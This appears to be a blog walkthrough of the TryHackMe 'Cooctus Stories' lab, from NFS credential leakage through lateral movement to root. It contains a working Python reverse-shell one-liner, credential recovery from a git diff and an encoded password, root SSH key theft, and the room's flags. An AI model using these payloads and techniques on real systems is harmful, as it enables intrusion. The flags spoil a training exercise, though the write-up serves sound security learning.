Cooctus-Stories | TryHackMe Walkthrough

Nihir Zala
13 min readMar 25, 2023

--

Paradox is nomming cookies

Hint: Confront the CAT!

Services

PORT      STATE SERVICE  VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
| 256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
|_ 256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 37644/udp6 mountd
| 100005 1,2,3 41390/udp mountd
| 100005 1,2,3 49245/tcp6 mountd
| 100005 1,2,3 59977/tcp mountd
| 100021 1,3,4 34839/tcp6 nlockmgr
| 100021 1,3,4 35275/udp nlockmgr
| 100021 1,3,4 36517/tcp nlockmgr
| 100021 1,3,4 40081/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: CCHQ
36517/tcp open nlockmgr 1-4 (RPC #100021)
43101/tcp open mountd 1-3 (RPC #100005)
55387/tcp open mountd 1-3 (RPC #100005)
59977/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NFS

There is a NFS network share that reveals credentials:

  • Username: paradoxial.test
  • Password: ShibaPretzel79
┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ mkdir tmp

┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ sudo mount -t nfs 10.10.94.63: tmp

┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ tree tmp
tmp
└── var
└── nfs
└── general
└── credentials.bak
3 directories, 1 file

┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ cat tmp/var/nfs/general/credentials.bak
paradoxial.test
ShibaPretzel79

Web

There is a web service running on port 8080. There is no robots.txt file but the enumeration reveals 2 locations.

└─$ gobuster dir -u http://10.10.94.63:8080 -w /usr/share/wordlists/dirb/common.txt                            5 ⨯
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.94.63:8080
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/05/28 09:46:41 Starting gobuster in directory enumeration mode
===============================================================
/cat (Status: 302) [Size: 219] [--> http://10.10.94.63:8080/login]
/login (Status: 200) [Size: 556]

===============================================================
2021/05/28 09:47:35 Finished
===============================================================

We can login (http://10.10.94.63:8080/login) using the credentials found just previously. Once logged in, we are redirected to the /cat page.

Reverse Shell

After playing a bit with the form and payloads, I was able to send the following payload (python reverse shell):

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.50.72",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

We now have a reverse shell:

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.94.63] 35218
bash: cannot set terminal process group (726): Inappropriate ioctl for device
bash: no job control in this shell
paradox@cchq:~$ pwd
pwd
/home/paradox

Paradox Flag

paradox@cchq:~$ ll
ll
total 36
drwxr-xr-x 5 paradox paradox 4096 Feb 22 18:48 ./
drwxr-xr-x 6 root root 4096 Jan 2 10:24 ../
lrwxrwxrwx 1 paradox paradox 9 Feb 20 17:13 .bash_history -> /dev/null
-rw-r--r-- 1 paradox paradox 220 Jan 2 10:24 .bash_logout
-rw-r--r-- 1 paradox paradox 3882 Feb 20 21:50 .bashrc
drwx------ 2 paradox paradox 4096 Jan 2 18:31 .cache/
drwxr-xr-x 4 paradox paradox 4096 Jan 1 22:03 CATapp/
drwx------ 3 paradox paradox 4096 Jan 2 18:31 .gnupg/
-rw-r--r-- 1 paradox paradox 807 Jan 2 10:24 .profile
-rw------- 1 paradox paradox 38 Feb 20 20:23 user.txt
paradox@cchq:~$ cat user.txt
cat user.txt
THM{2dccd1ab3e03990aea77359831c85ca2}

Paradox flag: THM{2dccd1ab3e03990aea77359831c85ca2}

Find out what Szymex is working on

Hint: Locating shipment…

The SniffingCat.py script

Add your SSH public key to /home/paradox/.ssh/authorized_keys and connect via SSH directly as paradox. When we connect, we can notice a message displayed every minute:

Broadcast message from szymex@cchq (somewhere) (Fri May 28 09:52:01 2021):     

Approximate location of an upcoming Dr.Pepper shipment found:


Broadcast message from szymex@cchq (somewhere) (Fri May 28 09:52:01 2021):

Coordinates: X: 306, Y: 26, Z: 9


Broadcast message from szymex@cchq (somewhere) (Fri May 28 09:53:01 2021):

Approximate location of an upcoming Dr.Pepper shipment found:


Broadcast message from szymex@cchq (somewhere) (Fri May 28 09:53:01 2021):

Coordinates: X: 567, Y: 48, Z: 815

There is a note in the home folder, as well as a python script (SniffingCat.py):

paradox@cchq:/home/szymex$ ll
total 44
drwxr-xr-x 5 szymex szymex 4096 Feb 22 18:45 ./
drwxr-xr-x 6 root root 4096 Jan 2 10:24 ../
lrwxrwxrwx 1 szymex szymex 9 Feb 20 17:13 .bash_history -> /dev/null
-rw-r--r-- 1 szymex szymex 220 Jan 2 09:13 .bash_logout
-rw-r--r-- 1 szymex szymex 3865 Feb 20 21:27 .bashrc
drwx------ 2 szymex szymex 4096 Jan 2 09:27 .cache/
drwx------ 3 szymex szymex 4096 Jan 2 21:44 .gnupg/
drwxrwxr-x 3 szymex szymex 4096 Jan 2 10:59 .local/
-r-------- 1 szymex szymex 11 Jan 2 14:18 mysupersecretpassword.cat
-rw-rw-r-- 1 szymex szymex 316 Feb 20 20:31 note_to_para
-rwxrwxr-- 1 szymex szymex 735 Feb 20 20:30 SniffingCat.py*
-rw------- 1 szymex szymex 38 Feb 22 18:45 user.txt
paradox@cchq:/home/szymex$ cat note_to_para
Paradox,
I'm testing my new Dr. Pepper Tracker script. 
It detects the location of shipments in real time and sends the coordinates to your account.
If you find this annoying you need to change my super secret password file to disable the tracker.
You know me, so you know how to get access to the file.- Szymex

Checking the crontab confirms that the script is called by szymex and runs every minute:

paradox@cchq:/home/szymex$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * szymex /home/szymex/SniffingCat.py
#

Below is the script:

paradox@cchq:/home/szymex$ cat SniffingCat.py 
#!/usr/bin/python3
import os
import random
def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc
x = random.randint(300,700)
y = random.randint(0,255)
z = random.randint(0,1000)
message = "Approximate location of an upcoming Dr.Pepper shipment found:"
coords = "Coordinates: X: {x}, Y: {y}, Z: {z}".format(x=x, y=y, z=z)
with open('/home/szymex/mysupersecretpassword.cat', 'r') as f:
line = f.readline().rstrip("\n")
enc_pw = encode(line)
if enc_pw == "pureelpbxr":
os.system("wall -g paradox " + message)
os.system("wall -g paradox " + coords)

The script above provides us with the encoded form of a password: pureelpbxr. Now, we need to reverse it.

Reverse engineer the password

The script is applying a transformation to the password in clear (saved in mysupersecretpassword.cat) and displays the message if the encoded password is equal to pureelpbxr. Let’s build a quick and dirty python script that will get each letter of the alphabet, and apply the transformation, to build a conversion table.

┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ cat test.py
#!/usr/bin/python3
def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc
s = 'abcdefghijklmnopqrstuvwxyz'
clear = list(s)
encoded = list(encode(s))
pwd = "pureelpbxr"
dec = ""
for i in pwd:
dec += clear[encoded.index(i)]
print(dec)

Running the script will reveal the password in the clear:

$ python3 test.py
cherrycoke

Lateral move (paradox -> szymex)

Now we can move to szymex and read the password:

paradox@cchq:/home/szymex$ su szymex
Password:
szymex@cchq:~$ id
uid=1001(szymex) gid=1001(szymex) groups=1001(szymex),1004(testers)
szymex@cchq:~$ cd /home/szymex/
szymex@cchq:~$ ll
total 44
drwxr-xr-x 5 szymex szymex 4096 Feb 22 18:45 ./
drwxr-xr-x 6 root root 4096 Jan 2 10:24 ../
lrwxrwxrwx 1 szymex szymex 9 Feb 20 17:13 .bash_history -> /dev/null
-rw-r--r-- 1 szymex szymex 220 Jan 2 09:13 .bash_logout
-rw-r--r-- 1 szymex szymex 3865 Feb 20 21:27 .bashrc
drwx------ 2 szymex szymex 4096 Jan 2 09:27 .cache/
drwx------ 3 szymex szymex 4096 Jan 2 21:44 .gnupg/
drwxrwxr-x 3 szymex szymex 4096 Jan 2 10:59 .local/
-r-------- 1 szymex szymex 11 Jan 2 14:18 mysupersecretpassword.cat
-rw-rw-r-- 1 szymex szymex 316 Feb 20 20:31 note_to_para
-rwxrwxr-- 1 szymex szymex 735 Feb 20 20:30 SniffingCat.py*
-rw------- 1 szymex szymex 38 Feb 22 18:45 user.txt
szymex@cchq:~$ cat user.txt
THM{c89f9f4ef264e22001f9a9c3d72992ef}

Szymex’s flag: THM{c89f9f4ef264e22001f9a9c3d72992ef}

Find out what Tux is working on

Hint: Combine and crack

First fragment

From the note left in the home folder, we understand that we have to collect 3 fragments:

szymex@cchq:/home/tux$ cat note_to_every_cooctus 
Hello fellow Cooctus Clan members
I'm proposing my idea to dedicate a portion of the cooctus fund for the construction of a penguin army.The 1st Tuxling Infantry will provide young and brave penguins with opportunities to
explore the world while making sure our control over every continent spreads accordingly.
Potential candidates will be chosen from a select few who successfully complete all 3 Tuxling Trials.
Work on the challenges is already underway thanks to the trio of my top-most explorers.
Required budget: 2,348,123 Doge coins and 47 pennies.Hope this message finds all of you well and spiky.- TuxTheXplorer

The first fragment can be found in the nootcode.c program. Compiling the program won’t help, but we see replacements to make, from the define statements:

szymex@cchq:/home/tux/tuxling_1$ cat nootcode.c 
#include <stdio.h>
#define noot int
#define Noot main
#define nOot return
#define noOt (
#define nooT )
#define NOOOT "f96"
#define NooT ;
#define Nooot nuut
#define NOot {
#define nooot key
#define NoOt }
#define NOOt void
#define NOOT "NOOT!\n"
#define nooOT "050a"
#define noOT printf
#define nOOT 0
#define nOoOoT "What does the penguin say?\n"
#define nout "d61"
noot Noot noOt nooT NOot
noOT noOt nOoOoT nooT NooT
Nooot noOt nooT NooT
nOot nOOT NooT
NoOt
NOOt nooot noOt nooT NOot
noOT noOt NOOOT nooOT nout nooT NooT
NoOt
NOOt Nooot noOt nooT NOot
noOT noOt NOOT nooT NooT
NoOt

Let’s use sed to make these replacements quickly:

szymex@cchq:/home/tux/tuxling_1$ cat nootcode.c \
> | sed 's/noot/int/g' \
> | sed 's/Noot/main/g' \
> | sed 's/nOot/return/g' \
> | sed 's/noOt/(/g' \
> | sed 's/nooT/)/g' \
> | sed 's/NOOOT/"f96"/g' \
> | sed 's/NooT/;/g' \
> | sed 's/Nooot/nuut/g' \
> | sed 's/NOot/{/g' \
> | sed 's/nooot/key/g' \
> | sed 's/NoOt/}/g' \
> | sed 's/NOOt/void/g' \
> | sed 's/NOOT/"NOOT!\n"/g' \
> | sed 's/nooOT/"050a"/g' \
> | sed 's/noOT/printf/g' \
> | sed 's/nOOT/0/g' \
> | sed 's/nOoOoT/"What does the penguin say?\n"/g' \
> | sed 's/nout/"d61"/g'
#include <stdio.h>
#define int int
#define main main
#define return return
#define ( (
#define ) )
#define "f96" "f96"
#define ; ;
#define nuut nuut
#define { {
#define key key
#define } }
#define void void
#define "NOOT!
" ""NOOT!
"!\n"
#define "050a" "050a"
#define printf printf
#define 0 0
#define "What does the penguin say?
" "What does the penguin say?\n"
#define "d61" "d61"
int main ( ) {
printf ( "What does the penguin say?
" ) ;
nuut ( ) ;
return 0 ;
}
void key ( ) {
printf ( "f96" "050a" "d61" ) ; <------------------ first fragment
}
void nuut ( ) {
printf ( "NOOT!
" ) ;
}

First fragment: f96050ad61

Second fragment

Based on the name of the directory where we found the 1st fragment, we can search for other folders with the same name structure:

szymex@cchq:/home/tux$ find / -type d -name "tuxling*" 2>/dev/null
/home/tux/tuxling_3
/home/tux/tuxling_1
/media/tuxling_2

The second fragment is in a PGP crypted file:

szymex@cchq:/media/tuxling_2$ cat note 
Noot noot! You found me.
I'm Rico and this is my challenge for you.
General Tux handed me a fragment of his secret key for safekeeping.
I've encrypted it with Penguin Grade Protection (PGP).
You can have the key fragment if you can decrypt it.Good luck and keep on nooting!szymex@cchq:/media/tuxling_2$ ll
total 20
drwxrwx--- 2 tux testers 4096 Feb 20 20:02 ./
drwxr-xr-x 3 root root 4096 Feb 20 21:04 ../
-rw-rw-r-- 1 tux testers 740 Feb 20 20:00 fragment.asc
-rw-rw---- 1 tux testers 280 Jan 2 20:20 note
-rw-rw-r-- 1 tux testers 3670 Feb 20 20:01 private.key

To decrypt the message, let’s import the private key.

szymex@cchq:/media/tuxling_2$ gpg --import private.key 
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported
gpg: key B70EB31F8EF3187C: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
szymex@cchq:/media/tuxling_2$ gpg --decrypt fragment.asc
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
"TuxPingu"
The second key fragment is: 6eaf62818d

Second fragment: 6eaf62818d

Third fragment

The 3rd and last fragment was in a hidden directory in tux’s home:

szymex@cchq:/home/tux$ cat tuxling_3/note 
Hi! Kowalski here.
I was practicing my act of disappearance so good job finding me.
Here take this,
The last fragment is: 637b56db1552
Combine them all and visit the station.

Crack fragments hash

All fragments join the following hash: f96050ad616eaf62818d637b56db1552

Using crackstation, we find that the password is tuxykitty.

Tux’s flag

$ sshpass -p "tuxykitty" ssh tux@10.10.94.63
tux@cchq:~$ cat user.txt
THM{592d07d6c2b7b3b3e7dc36ea2edbd6f1}

Tux’s flag: THM{592d07d6c2b7b3b3e7dc36ea2edbd6f1}

Find out what Varg is working on

Hint: Boot sequence initiated…

tux can run the CooctOS.py program as varg without password:

tux@cchq:~$ cd /home/varg/
tux@cchq:/home/varg$ ll
total 48
drwxr-xr-x 7 varg varg 4096 Feb 20 22:06 ./
drwxr-xr-x 6 root root 4096 Jan 2 10:24 ../
lrwxrwxrwx 1 varg varg 9 Feb 20 14:54 .bash_history -> /dev/null
-rw-r--r-- 1 varg varg 220 Jan 2 10:24 .bash_logout
-rw-r--r-- 1 varg varg 3771 Jan 3 11:40 .bashrc
drwx------ 2 varg varg 4096 Jan 3 12:53 .cache/
-rwsrws--x 1 varg varg 2146 Feb 20 22:05 CooctOS.py*
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 cooctOS_src/
-rw-rw-r-- 1 varg varg 47 Feb 20 15:46 .gitconfig
drwx------ 3 varg varg 4096 Jan 3 12:53 .gnupg/
drwxrwxr-x 3 varg varg 4096 Jan 3 10:22 .local/
drwx------ 2 varg varg 4096 Feb 20 14:17 .ssh/
-rw------- 1 varg varg 38 Feb 20 21:08 user.txt
tux@cchq:/home/varg$ sudo -l
Matching Defaults entries for tux on cchq:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User tux may run the following commands on cchq:
(varg) NOPASSWD: /home/varg/CooctOS.py

We can’t read the python script, but there is a .git repository in the cooctOS_src folder. Running git show reveals the source of the program and discloses new credentials:

tux@cchq:/home/varg$ cd cooctOS_src/
tux@cchq:/home/varg/cooctOS_src$ ll
total 44
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 ./
drwxr-xr-x 7 varg varg 4096 Feb 20 22:06 ../
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:46 bin/
drwxrwx--- 4 varg os_tester 4096 Feb 20 15:22 boot/
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:10 etc/
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:41 games/
drwxrwxr-x 8 varg os_tester 4096 Feb 20 15:47 .git/
drwxrwx--- 3 varg os_tester 4096 Feb 20 14:44 lib/
drwxrwx--- 16 varg os_tester 4096 Feb 20 15:21 run/
drwxrwx--- 2 varg os_tester 4096 Feb 20 09:11 tmp/
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:20 var/
tux@cchq:/home/varg/cooctOS_src$ git show
commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -> master)
Author: Vargles <varg@cchq.noot>
Date: Sat Feb 20 15:47:21 2021 +0000
    Removed CooctOS login script for nowdiff --git a/bin/CooctOS.py b/bin/CooctOS.py
deleted file mode 100755
index 4ccfcc1..0000000
--- a/bin/CooctOS.py
+++ /dev/null
@@ -1,52 +0,0 @@
-#!/usr/bin/python3
-
-import time
-import os;
-import pty;
-
-#print(chr(27)+ "[2J")
-logo = """\033[1;30;49m
- ██████╗ ██████╗ ██████╗ ██████╗████████╗ \033[1;37;49m██████╗ ███████╗\033[1;30;49m
-██╔════╝██╔═══██╗██╔═══██╗██╔════╝╚══██╔══╝\033[1;37;49m██╔═══██╗██╔════╝\033[1;30;49m
-██║ ██║ ██║██║ ██║██║ ██║ \033[1;37;49m██║ ██║███████╗\033[1;30;49m
-██║ ██║ ██║██║ ██║██║ ██║ \033[1;37;49m██║ ██║╚════██║\033[1;30;49m
-╚██████╗╚██████╔╝╚██████╔╝╚██████╗ ██║ \033[1;37;49m╚██████╔╝███████║\033[1;30;49m
- ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ \033[1;37;49m╚═════╝ ╚══════╝\033[1;30;49m
-"""
-print(logo)
-print(" LOADING")
-print("[", end='')
-
-for i in range(0,60):
- #print(chr(27)+ "[2J")
- #print(logo)
- #print(" LOADING")
- print("[", end='')
- print("=" * i, end='')
- print("]")
- time.sleep(0.02)
- print("\033[A\033[A")
-
-print("\032")
-print("\033[0;0m[ \033[92m OK \033[0;0m] Cold boot detected. Flux Capacitor powered up")
-
-print("\033[0;0m[ \033[92m OK \033[0;0m] Mounted Cooctus Filesystem under /opt")
-
-print("\033[0;0m[ \033[92m OK \033[0;0m] Finished booting sequence")
-
-print("CooctOS 13.3.7 LTS cookie tty1")
-uname = input("\ncookie login: ")
-pw = input("Password: ")
-
-for i in range(0,2):
- if pw != "slowroastpork": <------------------------------------- Credentials
- pw = input("Password: ")
- else:
- if uname == "varg":
- os.setuid(1002)
- os.setgid(1002)
- pty.spawn("/bin/rbash")
- break
- else:
- print("Login Failed")
- break

Lateral move (tux -> varg)

Now, we can connect as varg and read the flag.

$ sshpass -p "slowroastpork" ssh varg@10.10.94.63
varg@cchq:~$ cat user.txt
THM{3a33063a4a8a5805d17aa411a53286e6}

Varg’s flag: THM{3a33063a4a8a5805d17aa411a53286e6}

Get full root privileges

Hint: To mount or not to mount. That is the question.

Varg can run umount as root without password. However, checking on GTFOBins doesn’t reveal any privilege escalation with umount.

varg@cchq:~$ sudo -l
Matching Defaults entries for varg on cchq:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User varg may run the following commands on cchq:
(root) NOPASSWD: /bin/umount

Checking in the fstab file reveals that there is a mounted partition in /opt/CooctFS:

varg@cchq:~$ cat /etc/fstab
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point> <type> <options> <dump> <pass>
# / was on /dev/ubuntu-vg/ubuntu-lv during curtin installation
/dev/disk/by-id/dm-uuid-LVM-mrAx163lW73D8hFDlydZU2zYDwkd7tgT28ehcZQNMmzJmc0XKYP9m3eluIT1sZGo / ext4 defaults 0 0
# /boot was on /dev/sda2 during curtin installation
/dev/disk/by-uuid/6885d03d-f1fb-4785-971e-2bb17a3d22e3 /boot ext4 defaults 0 0
#/swap.img none swap sw 0 0
/home/varg/cooctOS_src /opt/CooctFS none defaults,bind 0 0

Unmounting the partition reveals a root folder:

varg@cchq:~$ cd /opt/CooctFS/
varg@cchq:/opt/CooctFS$ ll
total 44
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 ./
drwxr-xr-x 3 root root 4096 Feb 20 14:30 ../
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:46 bin/
drwxrwx--- 4 varg os_tester 4096 Feb 20 15:22 boot/
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:10 etc/
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:41 games/
drwxrwxr-x 8 varg os_tester 4096 Feb 20 15:47 .git/
drwxrwx--- 3 varg os_tester 4096 Feb 20 14:44 lib/
drwxrwx--- 16 varg os_tester 4096 Feb 20 15:21 run/
drwxrwx--- 2 varg os_tester 4096 Feb 20 09:11 tmp/
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:20 var/
varg@cchq:/opt/CooctFS$ cd
varg@cchq:~$ sudo /bin/umount /opt/CooctFS
varg@cchq:~$ ls -la /opt/CooctFS/
total 12
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .
drwxr-xr-x 3 root root 4096 Feb 20 14:30 ..
drwxr-xr-x 5 root root 4096 Feb 20 09:16 root

And there is a root.txt file there, but it’s not the root flag.

varg@cchq:~$ cat /opt/CooctFS/root/root.txt 
hmmm...
No flag here. You aren't root yet.

Root flag

That said, we can find the root SSH private key (/opt/CooctFS/root/.ssh/id_rsa). Save it locally, give it the proper permissions, and use it to connect as root:

┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ chmod 400 root.key

┌──(kali㉿kali)-[/data/Cooctus_Stories/files]
└─$ ssh -i root.key root@10.10.94.63
root@cchq:~# cat /root/root.txt
THM{H4CK3D_BY_C00CTUS_CL4N}

Root flag: THM{H4CK3D_BY_C00CTUS_CL4N}

--

--

Nihir Zala
Nihir Zala

Written by Nihir Zala

Hi there, I'm Nihir Zala—a Laravel developer from Gujrat, India, with over 2.5 years of professional experience. I also learning Penetesting from THM and HTB.